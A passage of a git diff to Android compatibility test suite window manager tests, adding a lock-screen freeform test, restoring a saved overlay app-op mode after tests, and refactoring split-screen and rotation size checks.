         mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
         assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
         assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
     }
 
     @Test
+    public void testChangeToFullscreenWhenLockWithAttrInFreeform() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsFreeform());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.sleepDevice();
+        mWmState.waitForAllStoppedActivities();
+
+        launchActivityNoWait(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FREEFORM);
+        mWmState.waitForValidState(
+                new WaitForValidActivityState.Builder(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY)
+                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                        .build());
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+        mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
+        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+    }
+
+    @Test
     public void testTurnScreenOnAttrRemove() {
         assumeTrue(supportsLockScreen());
 
@@ -590,7 +616,7 @@
     }
 
     @Test
-    public void testGoingHomeMultipleTimes() throws Exception {
+    public void testGoingHomeMultipleTimes() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -608,7 +634,7 @@
     }
 
     @Test
-    public void testPressingHomeButtonMultipleTimes() throws Exception {
+    public void testPressingHomeButtonMultipleTimes() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -628,7 +654,7 @@
     }
 
     @Test
-    public void testPressingHomeButtonMultipleTimesQuick() throws Exception {
+    public void testPressingHomeButtonMultipleTimesQuick() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
index 324398b..3cafd1c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
@@ -17,9 +17,7 @@
 package android.server.wm;
 
 import static android.app.AppOpsManager.MODE_ALLOWED;
-import static android.app.AppOpsManager.MODE_ERRORED;
 import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
-import static android.app.AppOpsManager.OP_SYSTEM_ALERT_WINDOW;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -38,7 +36,6 @@
 import android.os.Process;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.AppOpsUtils;
@@ -61,20 +58,23 @@
 public class AlertWindowsAppOpsTests {
     private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
 
+    private static int sPreviousSawAppOp;
+
     @Rule
     public final ActivityTestRule<AlertWindowsAppOpsTestsActivity> mActivityRule =
             new ActivityTestRule<>(AlertWindowsAppOpsTestsActivity.class);
 
     @BeforeClass
     public static void grantSystemAlertWindowAccess() throws IOException {
-        AppOpsUtils.setOpMode(getInstrumentation().getContext().getPackageName(),
-                OPSTR_SYSTEM_ALERT_WINDOW, MODE_ALLOWED);
+        String packageName = getInstrumentation().getContext().getPackageName();
+        sPreviousSawAppOp = AppOpsUtils.getOpMode(packageName, OPSTR_SYSTEM_ALERT_WINDOW);
+        AppOpsUtils.setOpMode(packageName, OPSTR_SYSTEM_ALERT_WINDOW, MODE_ALLOWED);
     }
 
     @AfterClass
     public static void revokeSystemAlertWindowAccess() throws IOException {
         AppOpsUtils.setOpMode(getInstrumentation().getContext().getPackageName(),
-                OPSTR_SYSTEM_ALERT_WINDOW, MODE_ERRORED);
+                OPSTR_SYSTEM_ALERT_WINDOW, sPreviousSawAppOp);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
index 4a9decc..c051817 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
@@ -37,4 +37,12 @@
     public void hideSystemAlertWindow() {
         getWindowManager().removeView(mContent);
     }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        if (mContent != null) {
+            hideSystemAlertWindow();
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
index 7c50ab2..3f74ddb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
@@ -48,7 +48,7 @@
  *     atest CtsWindowManagerDeviceTestCases:AlertWindowsTests
  */
 @Presubmit
-@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_TASKS")
 public class AlertWindowsTests extends ActivityManagerTestBase {
 
     // From WindowManager.java
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 191a70b..f5fe16e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -20,12 +20,11 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
 import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
-import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.StateLogger.logE;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.dpToPx;
@@ -33,14 +32,14 @@
 import static android.server.wm.app.Components.DIALOG_WHEN_LARGE_ACTIVITY;
 import static android.server.wm.app.Components.LANDSCAPE_ORIENTATION_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.NIGHT_MODE_ACTIVITY;
-import static android.server.wm.app.Components.PORTRAIT_ORIENTATION_ACTIVITY;
-import static android.server.wm.app.Components.RESIZEABLE_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
+import static android.server.wm.app.Components.NIGHT_MODE_ACTIVITY;
+import static android.server.wm.app.Components.PORTRAIT_ORIENTATION_ACTIVITY;
+import static android.server.wm.app.Components.RESIZEABLE_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
 import static android.view.Surface.ROTATION_0;
 import static android.view.Surface.ROTATION_180;
@@ -52,12 +51,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.res.Resources;
@@ -67,6 +65,7 @@
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
+import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
@@ -75,7 +74,7 @@
 
 import org.junit.Test;
 
-import java.util.List;
+import java.util.function.Function;
 
 /**
  * Build/Install/Run:
@@ -101,12 +100,12 @@
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
         separateTestJournal();
-        launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        final SizeInfo fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+        launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        final SizeInfo fullscreenSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
         separateTestJournal();
-        setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        final SizeInfo dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+        putActivityInPrimarySplit(RESIZEABLE_ACTIVITY);
+        final SizeInfo dockedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
         assertSizesAreSane(fullscreenSizes, dockedSizes);
     }
@@ -120,12 +119,14 @@
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
         separateTestJournal();
-        launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        final SizeInfo dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+        final SizeInfo dockedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
         separateTestJournal();
-        setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        final SizeInfo fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+        dismissSplitScreen(true /* primaryOnTop */);
+        final SizeInfo fullscreenSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
         assertSizesAreSane(fullscreenSizes, dockedSizes);
     }
@@ -141,10 +142,14 @@
         rotationSession.set(ROTATION_0);
 
         separateTestJournal();
-        launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+        final ActivitySessionClient resizeableActivityClient = createManagedActivityClientSession();
+        resizeableActivityClient.startActivity(getLaunchActivityBuilder()
+                        .setUseInstrumentation()
+                        .setTargetActivity(RESIZEABLE_ACTIVITY)
+                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY));
+        final SizeInfo initialSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
-        rotateAndCheckSizes(rotationSession, initialSizes);
+        rotateAndCheckSizes(rotationSession, resizeableActivityClient, initialSizes);
     }
 
     /**
@@ -155,6 +160,7 @@
     public void testConfigurationUpdatesWhenRotatingWhileDocked() {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
+        final ActivitySessionClient resizeableActivityClient = createManagedActivityClientSession();
         final RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(ROTATION_0);
 
@@ -165,10 +171,11 @@
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
         // Launch target activity in docked stack.
-        getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY).execute();
-        final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+        getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY)
+                .setActivitySessionClient(resizeableActivityClient).execute();
+        final SizeInfo initialSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
-        rotateAndCheckSizes(rotationSession, initialSizes);
+        rotateAndCheckSizes(rotationSession, resizeableActivityClient, initialSizes);
     }
 
     /**
@@ -179,25 +186,30 @@
     public void testConfigurationUpdatesWhenRotatingToSideFromDocked() {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
+        final ActivitySessionClient resizeableActivityClient = createManagedActivityClientSession();
         final RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(ROTATION_0);
 
         separateTestJournal();
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
-        final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY)
+                        .setActivitySessionClient(resizeableActivityClient));
+        final SizeInfo initialSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
-        rotateAndCheckSizes(rotationSession, initialSizes);
+        rotateAndCheckSizes(rotationSession, resizeableActivityClient, initialSizes);
     }
 
-    private void rotateAndCheckSizes(RotationSession rotationSession, SizeInfo prevSizes) {
-        final WindowManagerState.ActivityTask task =
-                mWmState.getTaskByActivity(RESIZEABLE_ACTIVITY);
+    private void rotateAndCheckSizes(RotationSession rotationSession,
+            ActivitySessionClient noRelaunchActivityClient, SizeInfo prevSizes) {
+        final ActivitySession activitySession = noRelaunchActivityClient.getLastStartedSession();
+        final ComponentName activityName = activitySession.getName();
+        final WindowManagerState.ActivityTask task = mWmState.getTaskByActivity(activityName);
         final int displayId = mWmState.getRootTask(task.mRootTaskId).mDisplayId;
 
         assumeTrue(supportsLockedUserRotation(rotationSession, displayId));
 
+        final boolean isCloseToSquareDisplay = isCloseToSquareDisplay();
         final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
         for (final int rotation : rotations) {
             separateTestJournal();
@@ -207,14 +219,17 @@
                 logE("Got an invalid device rotation value. "
                         + "Continuing the test despite of that, but it is likely to fail.");
             }
-
-            final SizeInfo rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+            final boolean expectConfigChange = task.getWindowingMode() == WINDOWING_MODE_FULLSCREEN
+                    && !isCloseToSquareDisplay;
+            if (expectConfigChange) {
+                assertActivityLifecycle(activityName, false /* relaunch */);
+            }
+            final SizeInfo rotatedSizes = activitySession.getConfigInfo().sizeInfo;
             assertSizesRotate(prevSizes, rotatedSizes,
                     // Skip orientation checks if we are not in fullscreen mode, or when the display
                     // is close to square because the app config orientation may always be landscape
                     // excluding the system insets.
-                    task.getWindowingMode() != WINDOWING_MODE_FULLSCREEN
-                            || isCloseToSquareDisplay());
+                    !expectConfigChange /* skipOrientationCheck */);
             prevSizes = rotatedSizes;
         }
     }
@@ -225,7 +240,7 @@
      */
     @Test
     public void testSameConfigurationFullSplitFullRelaunch() {
-        moveActivityFullSplitFull(TEST_ACTIVITY);
+        moveActivityFullSplitFull(true /* relaunch */);
     }
 
     /**
@@ -233,65 +248,52 @@
      */
     @Test
     public void testSameConfigurationFullSplitFullNoRelaunch() {
-        moveActivityFullSplitFull(RESIZEABLE_ACTIVITY);
+        moveActivityFullSplitFull(false /* relaunch */);
     }
 
     /**
-     * Launches activity in fullscreen stack, moves to docked stack and back to fullscreen stack.
-     * Last operation is done in a way which simulates split-screen divider movement maximizing
-     * docked stack size and then moving task to fullscreen stack - the same way it is done when
-     * user long-presses overview/recents button to exit split-screen.
-     * Asserts that initial and final reported sizes in fullscreen stack are the same.
+     * Launches activity in fullscreen task, moves to docked task and back to fullscreen task.
+     * Asserts that initial and final reported sizes in fullscreen task are the same.
      */
-    private void moveActivityFullSplitFull(ComponentName activityName) {
+    private void moveActivityFullSplitFull(boolean relaunch) {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
-        // Launch to fullscreen stack and record size.
+        final ComponentName activityName = relaunch ? TEST_ACTIVITY : RESIZEABLE_ACTIVITY;
+        // Launch to fullscreen task and record size.
         separateTestJournal();
         launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
-        final SizeInfo initialFullscreenSizes = getActivityDisplaySize(activityName);
-        final Rect displayRect = getDisplayRect(activityName);
+        final SizeInfo initialFullscreenSizes = getLastReportedSizesForActivity(activityName);
 
-        // Move to docked stack.
+        // Move the task to the primary split task.
         separateTestJournal();
-        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        final SizeInfo dockedSizes = getActivityDisplaySize(activityName);
+        putActivityInPrimarySplit(activityName);
+        // Currently launchActivityInPrimarySplit launches the target activity and then move it
+        // to split task, so it requires waiting of lifecycle to get the stable initial size.
+        if (relaunch) {
+            assertActivityLifecycle(activityName, true /* relaunch */);
+        } else {
+            // The lifecycle callbacks contain the initial launch event so only wait for
+            // multi-window mode changed.
+            waitForOnMultiWindowModeChanged(activityName);
+        }
+        final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName);
         assertSizesAreSane(initialFullscreenSizes, dockedSizes);
 
-        // Resize docked stack to fullscreen size. This will trigger activity relaunch with
-        // non-empty override configuration corresponding to fullscreen size.
+        // Restore to fullscreen.
         separateTestJournal();
-        final int width = displayRect.width();
-        final int height = displayRect.height();
-        resizeDockedStack(width /* stackWidth */, height /* stackHeight */,
-                width /* taskWidth */, height /* taskHeight */);
-
-        // Move activity back to fullscreen stack.
-        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_FULLSCREEN);
-        final SizeInfo finalFullscreenSizes = getActivityDisplaySize(activityName);
+        mTaskOrganizer.dismissedSplitScreen();
+        // Home task could be on top since it was the top-most task while in split-screen mode
+        // (dock task was minimized), start the activity again to ensure the activity is at
+        // foreground.
+        launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
+        assertActivityLifecycle(activityName, relaunch);
+        final SizeInfo finalFullscreenSizes = getLastReportedSizesForActivity(activityName);
 
         // After activity configuration was changed twice it must report same size as original one.
         assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
     }
 
     /**
-     * Tests when activity moved from docked stack to fullscreen and back. Activity will be
-     * relaunched twice and it should have same config as initial one.
-     */
-    @Test
-    public void testSameConfigurationSplitFullSplitRelaunch() {
-        moveActivitySplitFullSplit(TEST_ACTIVITY);
-    }
-
-    /**
-     * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
-     */
-    @Test
-    public void testSameConfigurationSplitFullSplitNoRelaunch() {
-        moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY);
-    }
-
-    /**
      * Tests that an activity with the DialogWhenLarge theme can transform properly when in split
      * screen.
      */
@@ -299,19 +301,19 @@
     public void testDialogWhenLargeSplitSmall() {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
-        launchActivity(DIALOG_WHEN_LARGE_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        final WindowManagerState.ActivityTask stack = mWmState
-                .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        final WindowManagerState.DisplayContent display =
-                mWmState.getDisplay(stack.mDisplayId);
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(DIALOG_WHEN_LARGE_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+        int displayId = mWmState.getDisplayByActivity(DIALOG_WHEN_LARGE_ACTIVITY);
+        final WindowManagerState.DisplayContent display = mWmState.getDisplay(displayId);
         final int density = display.getDpi();
         final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
         final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
 
-        resizeDockedStack(0, 0, smallWidthPx, smallHeightPx);
+        mTaskOrganizer.setRootPrimaryTaskBounds(new Rect(0, 0, smallWidthPx, smallHeightPx));
         mWmState.waitForValidState(
                 new WaitForValidActivityState.Builder(DIALOG_WHEN_LARGE_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY)
+                        .setWindowingMode(WINDOWING_MODE_MULTI_WINDOW)
                         .setActivityType(ACTIVITY_TYPE_STANDARD)
                         .build());
     }
@@ -469,7 +471,8 @@
                 .execute();
         mWmState.waitForLastOrientation(SCREEN_ORIENTATION_LANDSCAPE);
 
-        final SizeInfo reportedSizes = getActivityDisplaySize(LANDSCAPE_ORIENTATION_ACTIVITY);
+        final SizeInfo reportedSizes =
+                getLastReportedSizesForActivity(LANDSCAPE_ORIENTATION_ACTIVITY);
         final Bundle extras = TestJournalContainer.get(LANDSCAPE_ORIENTATION_ACTIVITY).extras;
         final ConfigInfo appConfigInfo = extras.getParcelable(EXTRA_APP_CONFIG_INFO);
         final Point onCreateRealDisplaySize = extras.getParcelable(EXTRA_DISPLAY_REAL_SIZE);
@@ -582,8 +585,6 @@
 
         // Verify that activity brought to front is in originally requested orientation.
         mWmState.waitForActivityState(RESIZEABLE_ACTIVITY, STATE_RESUMED);
-        SizeInfo reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
-        assertNull("Should come back in original orientation", reportedSizes);
         mWmState.waitAndAssertLastOrientation("Should come back in original server orientation",
                 initialServerOrientation);
         assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
@@ -599,8 +600,6 @@
 
         // Verify that activity brought to front is in originally requested orientation.
         mWmState.waitForActivityState(RESIZEABLE_ACTIVITY, STATE_RESUMED);
-        reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
-        assertNull("Should come back in original orientation", reportedSizes);
         mWmState.waitAndAssertLastOrientation("Should come back in original server orientation",
                 initialServerOrientation);
         assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
@@ -651,14 +650,41 @@
     }
 
     /**
-     * Test that the orientation for a simulated display context will not change when the device is
-     * rotated.
+     * Test that the orientation for a simulated display context derived from an application context
+     * will not change when the device rotates.
      */
     @Test
     public void testAppContextDerivedDisplayContextOrientationWhenRotating() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
         assumeTrue("Skipping test: no multi-display support", supportsMultiDisplay());
 
+        assertDisplayContextDoesntChangeOrientationWhenRotating(Activity::getApplicationContext);
+    }
+
+    /**
+     * Test that the orientation for a simulated display context derived from an activity context
+     * will not change when the device rotates.
+     */
+    @Test
+    public void testActivityContextDerivedDisplayContextOrientationWhenRotating() {
+        assumeTrue("Skipping test: no rotation support", supportsRotation());
+        assumeTrue("Skipping test: no multi-display support", supportsMultiDisplay());
+
+        assertDisplayContextDoesntChangeOrientationWhenRotating(activity -> activity);
+    }
+
+    /**
+     * Asserts that the orientation for a simulated display context derived from a base context will
+     * not change when the device rotates.
+     *
+     * @param baseContextSupplier function that returns a base context used to created the display
+     *                            context.
+     *
+     * @see #testAppContextDerivedDisplayContextOrientationWhenRotating
+     * @see #testActivityContextDerivedDisplayContextOrientationWhenRotating
+     */
+    private void assertDisplayContextDoesntChangeOrientationWhenRotating(
+            Function<Activity, Context> baseContextSupplier) {
         RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(ROTATION_0);
 
@@ -678,7 +704,7 @@
 
         DisplayManager dm = activity.getSystemService(DisplayManager.class);
         Display simulatedDisplay = dm.getDisplay(displayContent.mId);
-        Context simulatedDisplayContext = activity.getApplicationContext()
+        Context simulatedDisplayContext = baseContextSupplier.apply(activity)
                 .createDisplayContext(simulatedDisplay);
         assertEquals(ORIENTATION_PORTRAIT,
                 simulatedDisplayContext.getResources().getConfiguration().orientation);
@@ -704,7 +730,7 @@
      * Also verify that occluded activity will not get config changes.
      */
     @Test
-    public void testFixedOrientationWhenRotating() throws Exception {
+    public void testFixedOrientationWhenRotating() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
         // TODO(b/110533226): Fix test on devices with display cutout
         assumeFalse("Skipping test: display cutout present, can't predict exact lifecycle",
@@ -712,7 +738,11 @@
 
         // Start portrait-fixed activity
         separateTestJournal();
-        launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        final ActivitySession activitySession = createManagedActivityClientSession()
+                .startActivity(getLaunchActivityBuilder()
+                        .setUseInstrumentation()
+                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                        .setTargetActivity(RESIZEABLE_ACTIVITY));
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
 
         final int displayId = mWmState.getDisplayByActivity(RESIZEABLE_ACTIVITY);
@@ -723,20 +753,20 @@
 
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
+        final SizeInfo initialSize = getLastReportedSizesForActivity(PORTRAIT_ORIENTATION_ACTIVITY);
 
         // Rotate the display and check that the orientation doesn't change
         rotationSession.set(ROTATION_0);
         final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
         for (final int rotation : rotations) {
             separateTestJournal();
-            rotationSession.set(rotation);
+            rotationSession.set(rotation, false /* waitDeviceRotation */);
 
             // Verify lifecycle count and orientation changes.
             assertRelaunchOrConfigChanged(PORTRAIT_ORIENTATION_ACTIVITY, 0 /* numRelaunch */,
                     0 /* numConfigChange */);
-            final SizeInfo reportedSizes = getLastReportedSizesForActivity(
-                    PORTRAIT_ORIENTATION_ACTIVITY);
-            assertNull("No new sizes must be reported", reportedSizes);
+            final SizeInfo currentSize = activitySession.getConfigInfo().sizeInfo;
+            assertEquals("Sizes must not be changed", initialSize, currentSize);
             assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
                     0 /* numConfigChange */);
         }
@@ -823,40 +853,6 @@
     }
 
     /**
-     * Launches activity in docked stack, moves to fullscreen stack and back to docked stack.
-     * Asserts that initial and final reported sizes in docked stack are the same.
-     */
-    private void moveActivitySplitFullSplit(ComponentName activityName) {
-        assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
-
-        // Launch to docked stack and record size.
-        separateTestJournal();
-        launchActivityInSplitScreenWithRecents(activityName);
-        final SizeInfo initialDockedSizes = getActivityDisplaySize(activityName);
-        mWmState.computeState(
-                new WaitForValidActivityState.Builder(activityName).build());
-
-        // Move to fullscreen stack.
-        separateTestJournal();
-        setActivityTaskWindowingMode(
-                activityName, WINDOWING_MODE_FULLSCREEN);
-        // Home task could be on top since it was the top-most task while in split-screen mode
-        // (dock task was minimized), start the activity again to ensure the activity is at
-        // foreground.
-        launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
-        final SizeInfo fullscreenSizes = getActivityDisplaySize(activityName);
-        assertSizesAreSane(fullscreenSizes, initialDockedSizes);
-
-        // Move activity back to docked stack.
-        separateTestJournal();
-        moveTaskToPrimarySplitScreen(mWmState.getTaskByActivity(activityName).mTaskId);
-        final SizeInfo finalDockedSizes = getActivityDisplaySize(activityName);
-
-        // After activity configuration was changed twice it must report same size as original one.
-        assertSizesAreSame(initialDockedSizes, finalDockedSizes);
-    }
-
-    /**
      * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
      * have flipped.
      */
@@ -915,36 +911,6 @@
         assertEquals(firstSize.smallestWidthDp, secondSize.smallestWidthDp);
     }
 
-    private SizeInfo getActivityDisplaySize(ComponentName activityName) {
-        mWmState.computeState(
-                new WaitForValidActivityState(activityName));
-        final SizeInfo details = getLastReportedSizesForActivity(activityName);
-        assertNotNull(details);
-        return details;
-    }
-
-    private Rect getDisplayRect(ComponentName activityName) {
-        final String windowName = getWindowName(activityName);
-
-        mWmState.computeState(activityName);
-        mWmState.assertFocusedWindow("Test window must be the front window.", windowName);
-
-        final List<WindowManagerState.WindowState> windowList =
-                mWmState.getMatchingVisibleWindowState(windowName);
-
-        assertEquals("Should have exactly one window state for the activity.", 1,
-                windowList.size());
-
-        WindowManagerState.WindowState windowState = windowList.get(0);
-        assertNotNull("Should have a valid window", windowState);
-
-        WindowManagerState.DisplayContent display = mWmState
-                .getDisplay(windowState.getDisplayId());
-        assertNotNull("Should be on a display", display);
-
-        return display.getDisplayRect();
-    }
-
     private void waitForBroadcastActivityReady(int orientation) {
         mWmState.waitForActivityOrientation(BROADCAST_RECEIVER_ACTIVITY, orientation);
